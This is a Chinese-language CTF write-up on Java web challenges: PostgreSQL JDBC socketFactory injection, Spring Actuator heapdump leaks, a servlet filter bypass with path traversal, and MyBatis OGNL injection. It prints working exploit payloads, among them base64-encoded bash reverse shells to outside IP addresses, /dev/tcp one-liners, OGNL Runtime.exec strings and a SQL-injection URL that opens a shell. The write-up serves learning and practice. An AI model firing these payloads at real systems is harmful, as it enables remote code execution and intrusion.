CTF

0Xgame java专题复现

Posted by Azeril on December 18, 2023

TestConnection

commons-collections-3.2.1.jar
mysql-connector-java-8.0.11.jar
postgresql-42.3.1.jar
public class IndexController {
    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/testConnection"})
    //需要传入参数 drvier url username password
    public String testConnection(@RequestParam("driver") String driver, @RequestParam("url") String url, @RequestParam("username") String username, @RequestParam("password") String password) {
        try {
            Class.forName(driver);
            DriverManager.getConnection(url, username, password);
            return "success";
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

直接打

首先开一个http服务,然后一个监听反弹shell端口

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExNi4yNDcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
driver=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://8.130.116.247:9999/aaa.xml  记得进行url编码,随机写一个账号密码即可

image-20231218214733997

最后环境变量找到flagenv

image-20231218215049912

/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExNi4yNDcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

bash -i >&/dev/tcp/8.130.116.247/7777 0>&1

spring

打开一个actuator,根据以往的知识可以知道是一种信息泄露

image-20231221200037372

接下来就是看如何让value明文显示

/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream

image-20231221200410140

访问/actuator/heapdump 导出jvm中的堆内存信息,通过一定的查询得到app.password的明文

通过利用工具https://github.com/whwlsfb/JDumpSpider

image-20231221205615034

本地环境测试

本地搭建了一个springboot的环境,发现也会出现泄露问题

<dependency>
          <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

image-20231221205926681

在1.x版本下,设置语句如下:

management.context-path=/manage

此时端点的访问方式就变为了:

/manage/dump
/manage/autoconfig

在2.x版本,设置语句如下:

management.endpoints.web.base-path=/manage

image-20231221211215598

auth_bypass_web

题目附件给了 AuthFilter.java 和 DownloadServlet.java

首先是一个黑名单,主要过滤了路径穿越和任意下载

public class AuthFilter implements Filter {
    public void init(FilterConfig filterConfig) {
    }

    public void destroy() {
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getRequestURI().contains("..")) {
            resp.getWriter().write("blacklist");
        } else if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }
    }
}

DownloadServlet

public class DownloadServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String currentPath = getServletContext().getRealPath("/assets/");
        Object fileNameParameter = req.getParameter("filename");
        if (fileNameParameter != null) {
            String fileName = (String) fileNameParameter;
            resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);
            FileInputStream input = new FileInputStream(currentPath + fileName);
            Throwable th = null;
            try {
                byte[] buffer = new byte[4096];
                while (input.read(buffer) != -1) {
                    resp.getOutputStream().write(buffer);
                }
                if (input == null) {
                    return;
                }
                if (0 != 0) {
                    try {
                        input.close();
                    } catch (Throwable th2) {
                        th.addSuppressed(th2);
                    }
                } else {
                    input.close();
                }
            } catch (Throwable th3) {
                if (input != null) {
                    if (0 != 0) {
                        try {
                            input.close();
                        } catch (Throwable th4) {
                            th.addSuppressed(th4);
                        }
                    } else {
                        input.close();
                    }
                }
                throw th3;
            }
        } else {
            resp.setContentType("text/html");
            resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
        }
    }
}

就给了这么两个java类其他没任何消息,肯定是绕过(太明显了

if (request.getRequestURI().contains("..")) {

getRequestURL() 并不会进行url解码
也不会去掉多余字符

既然能访问到aa说明没问题,正常访问路由应该为 /JYcxk/aa所以都是可以正常访问的,那么就可以绕过

image-20231221220801540

image-20231221220638571

然后可以通过 //download?filename=avatar.jpg 下载文件, 但是无法读取 /flag (提示 Permission denied), 那么很明显需要 RCE

根据题目描述, 网站使用 war 打包,直接读取web.xml配置文件

image-20231221221312892

看本地文件的相对位置

image-20231222145213294

http://8.130.116.247:50042//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/IndexServlet.class

根据web.xml路由的配置,直接下载class文件即可

如果要直接下载部署的war包,需要先知道war包的名字

image-20231222145905214

EvilServlet

直接反弹shell即可,没任何过滤

public class EvilServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        try {
            Runtime.getRuntime().exec(req.getParameter("Evil_Cmd_Arguments_fe37627fed78"));
            resp.getWriter().write("success");
        } catch (Exception e) {
            resp.getWriter().write("error");
        }
    }
}

mybtais前置知识

其实就是在动态SQL中,可以解析OGNL表达式,前提需要有sql注入

一般而言,使用mybatis有两种配置,一种是通过xml文件来配置,另一种通过注解的方式来配置

1、xml文件

虽然bind标签value属性是可以传值的

<if test="name != null and name !=''">
  <bind name="likename" value="name" />
       name like #{likename}
</if>

但是,这里进行OGNL表达式解析的时候是有顺序 的,假设name:${@java.lang.Math@min(4,10)}

首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:

<bind name="likename" value="name" />

然后得到值,${@java.lang.Math@min(4,10)},然后将其赋给bind标签value属性中的name变量,即:

<bind name="likename" value="${@java.lang.Math@min(4,10)}" />

这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入

2、注解

springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:

  • @Insert
  • @Update
  • @Delete
  • @Select
  • @InsertProvider
  • @SelectProvider
  • @UpdateProvider
  • @DeleteProvider

@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识

带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。

举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 **

@Update({"<script>",
      "update Author",
      "  <set>",
      "    <if test='username != null'>username=#{username},</if>",
      "    <if test='password != null'>password=#{password},</if>",
      "    <if test='email != null'>email=#{email},</if>",
      "    <if test='bio != null'>bio=#{bio}</if>",
      "  </set>",
      "where id=#{id}",
      "</script>"})
void updateAuthorValues(Author author);

可以看到,可以引用xml中的标签,然后来使用动态SQL

但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)

因此有了各类Provider,如:@SelectProvider

我们定义一个查询方法为:

@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);

SelectProvider 调用的方法为findTeacherByName,如下:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到,这种方式没有任何标签,但是同样实现了动态SQL

从上面可以发现如果我们传入name的值为:*${@java.lang.Math@min(4,10)}

其流程是这样的:

首先生成了SQL语句为:

select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};

经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>

然后进行OGNL表达式解析:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>

解析完毕以后得到name的变量,传入SQL中:

select id,email from Teacher where name = '4';

这也就导致了OGNL表达式注入

影响范围 mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)

例题分析 YourBatis

jackson-2.13.5
mybatis-spring-3.5.3

根据题目可知漏洞发生在mybatis上

image-20231222194851610

image-20231222195041632

最后拼接上了sql语句,和上面给出的例子几乎一样,导致sql注入进而ongl解析

image-20231222195050535

${@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")}
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")}

直接打入上面的命令是不对的因为出现了{},会被解析为另一个OGNL表达式的开头和结尾,需要用到java类中自带的base64解码

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}

image-20231222195446663

如果未响应,建议换成自己的热点(校园网会拦截qaq😅

image-20231222200240664

例题分析2022 D3CTF ezsql

hibernate-validator-5.3.6.Final.jar
mybatis-3.5.9.jar

Hibernate Validator是Hibernate提供的一个开源框架,使用注解方式非常方便实现服务端的数据校验。

找类的时候发现这个参数可控,只需要看从哪调用的即可

image-20231222202614989

把16进制字符进行转义,并且里面不能包括new

image-20231222202805873

image-20231222203336465

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}

相当于禁用了上面的 new,

/vote/getDetailedVoteById?vid=3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}",null,null,null--+
这里用split是因为引号转义太麻烦了
这样隔开就不用引号了

image-20231222205111231

image-20231222211120774

这里是jdk8的版本

this.getClass().forName("java.lang.Runtime").getMethods()[12].invoke(this.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(this.getClass().forName("java.lang.Runtime")),"calc");
this.getClass().forName("java.lang.Runtime").getMethods()[12].invoke(this.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(this.getClass().forName("java.lang.Runtime")),"curl http://8.130.116.247:7777");

本地测了是可以通的,看的别的师傅不太一样和我的

image-20231222211736797

本地环境是jdk8直接起jar包起不来,意识到payload不同是因为jdk版本差异导致

不需要sql注入,因为会直接ongl解析所以直接写就行,然后需要全部url编码

image-20231222213224188

image-20231222213249139

总结:

二种payload
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}

${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}

TestConnection(2用mysql反序列化打)


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。